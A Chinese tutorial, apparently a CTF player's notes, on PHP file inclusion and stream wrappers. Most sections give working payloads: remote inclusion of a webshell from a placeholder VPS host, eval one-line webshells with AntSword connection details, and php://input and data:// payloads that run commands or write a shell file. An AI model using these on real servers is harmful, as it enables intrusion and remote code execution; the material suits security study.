文件包含与PHP伪协议
一、前言
原来做 ctf 端茶倒水选手的时候伪协议就只熟悉常用的几个,最近在网上浏览技术文章发现伪协议的有些用法我还不知道,现在就结合文件包含学习、总结、整理一下叭。
二、文件包含
2.1文件包含理解
- 向上文件包含:先包含某个文件再写代码,目的是包含公用的代码文件,提高代码重用性
- 向下文件包含:先写一些代码再包含某个文件,目的是在被包含的文件中使用已经产生的数据
2.2文件包含语言结构、函数
在 php 中有 require、include、require_once、include_once 四种方式包含代码文件,require 和 include 是语言结构,require_once 和 include_once 是函数,当利用这四个方式来包含文件时,无论文件是什么类型都会当作 php 文件进行解析。下表列一些我个人认为帮助理解的相同点与不同点,更详细可以查阅官方文档 https://www.php.net/manual/zh/function.include.php
语言结构/函数 | 位置 | 特点 | 包含失败 |
require | 一般用于php脚本最前面 | 在一开始就加载,需要引用的文件只处理一次,实际上文件内容替换了require()语句,可能多次执行的代码中使用require()效率高 | 错误,代码无法继续执行 |
include | php脚本任意位置 | 在用到时加载,需要引用的文件每次都要进行读取和评估,循环或条件语句引入文件时需要用include() | 警告,代码可以继续执行 |
require_once | 一般用于php脚本最前面 | 与require相同,并且如果文件曾经已经被包含过,不再包含(注:该函数根据前面有无引入相同路径的文件判断,而不是根据文件中的内容,即两个待引入的文件内容相同,使用该函数还是会引入两个) | 错误,代码无法继续执行 |
include_once | php脚本任意位置 | 与include相同,并且如果文件曾经已经被包含过,不再包含(注:该函数根据前面有无引入相同路径的文件判断,而不是根据文件中的内容,即两个待引入的文件内容相同,使用该函数还是会引入两个) | 警告,代码可以继续执行 |
2.3文件包含漏洞
本地文件包含:打开并包含本地文件的,还会造成任意文件读取漏洞。这里就有很多姿势了,比如包含日志、包含 session、结合文件上传漏洞等等
远程文件包含:包含远程服务器上的文件并执行,需要 php.ini 中以下两个配置选项均为 on,但因为 php 5.2 后 allow_url_include 默认为 Off
allow_url_fopen = On //默认为On allow_url_include = On //php5.2后默认为Off
即使两项配置都为 Off 也可以实现远程文件包含,在我写到这里的时候从 RFI巧用WebDAV绕过URL包含限制Getshell 学到了绕过配置的方式,大概原理是 allow_url_fopen 和 allow_url_include 仅限制了 http:// 和 ftp:// 协议,还可以利用 smb 协议(只能 windows 环境)和 webdav 协议绕过与包含,具体可以看看这篇文章,牛哇牛哇
三、PHP伪协议
php 支持的伪协议如下,官方文档 https://www.php.net/manual/zh/wrappers.php,记录一下不同伪协议的漏洞利用思路、getshell 方式
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
下面例子的测试代码均为
<?php $file = $_GET['a']; include $file; ?>
3.1file://
- 访问本地文件系统
- 不受 allow_url_fopen、allow_url_include 影响
- php 涉及到文件以及协议的地方默认使用 file 协议,如果没有写出协议名或者协议不存在,都会被当成 file 协议来解析
- 姿势:
?a=file://C:/Windows/win.ini
3.2http://、ftp://
- 访问 HTTP(s) 网址/访问 FTP(s) URLs
- allow_url_fopen = On、allow_url_include = On
- 姿势(ftp:// 同理,替换协议即可):
?a=http://vps.vps.vps.vps/shell.txt 木马文件(shell.txt)内容:<?php @eval($_POST['apple']);?> 蚁剑连接地址:http://baji.baji.baji.baji/index.php?a=http://vps.vps.vps.vps/shell.txt 密码:apple
3.3php://
- 访问各个输入/输出流(I/O streams)
- 包括 php://stdin、php://stdout、php://stderr、php://input、php://output、php://filter、php://fd、php://memory、php://temp 九种
3.3.1php://input
- 访问请求的原始数据的只读流,即直接读取POST上没有经过解析的原始数据,enctype="multipart/form-data" 的时候 php://input 是无效的
- allow_url_include = On、不受 allow_url_fopen 影响
- 姿势:
?a=php://input
命令执行: POST: <?php system('whoami'); ?>
GetShell: POST: <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['apple'])?>');?>
3.3.2php://filter
- 数据流打开时的筛选过滤应用,读取本地源代码
- 不受 allow_url_fopen、allow_url_include 影响
- 姿势:
读源码: ?a=php://filter/read=convert.base64-encode/resource=index.php("read="可以省略) //将php文件通过base64编码读出,若不加read=convert.base64-encode,则会将其中内容当做php代码执行 GetShell(shell.txt需在目标服务器上): 木马文件(shell.txt)内容:<?php @eval($_POST['apple']);?> 蚁剑连接地址:http://baji.baji.baji.baji/index.php?a=php://filter/resource=./shell.txt 密码:apple
3.4zip://
- 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
- 不受 allow_url_fopen、allow_url_include 影响
- 姿势:
?a=zip://D:/phpStudy/WWW/file.zip%23code.txt 格式: zip://[压缩包绝对路径]#[压缩包内的子文件名] 注: 文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23
3.5zlib://、bzip2://
- 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码执行
- 不受 allow_url_fopen、allow_url_include 影响
- 姿势:
?a=compress.zlib://file.zip 注: 文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀
3.6data://
- 数据流
- allow_url_fopen = On、allow_url_include = On
- 姿势:
命令执行: ?a=data:text/plain,<?php system('whoami');?> ?a=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== GetShell: ?a=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIkpUTkRKVE5HY0dod0pUSXdRR1YyWVd3bE1qZ2xNalJmVUU5VFZDVTFRaVV5TjJGd2NHeGxKVEkzSlRWRUpUSTVKVE5DSlROR0pUTkYiKSk7Pz4=
3.7glob://
- 查找匹配的文件路径模式,与其他函数配合绕过 open_basedir 限制,但是只可以读文件名不可以读文件内容
- 不受 allow_url_fopen、allow_url_include 影响
- 姿势:参考这篇文章 https://xz.aliyun.com/t/10070#toc-4
3.8phar://
- PHP归档
- 不受 allow_url_fopen、allow_url_include 影响
- 姿势(phar 还有反序列化操作,这里就先只记录文件包含相关):
?a=phar://test.zip/test.php 注:文件路径为绝对路径限制;压缩包内子文件为php文件如test.php压缩为test.zip;后缀名也可以改为其他如图片后缀
四、总结
ssh://、rar://、ogg://、expect:// 协议暂时没有和文件包含的关联就没在这里记录了,关于文件包含和伪协议知识的总结还是有新收获的,查找资料的过程中又掌握了一些之前忽略的知识点。
参考文章:
https://www.jianshu.com/p/73a070c9c058
https://cloud.tencent.com/developer/article/1723748
https://xz.aliyun.com/t/5535
https://www.anquanke.com/post/id/248627
https://www.mi1k7ea.com/2019/01/31/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/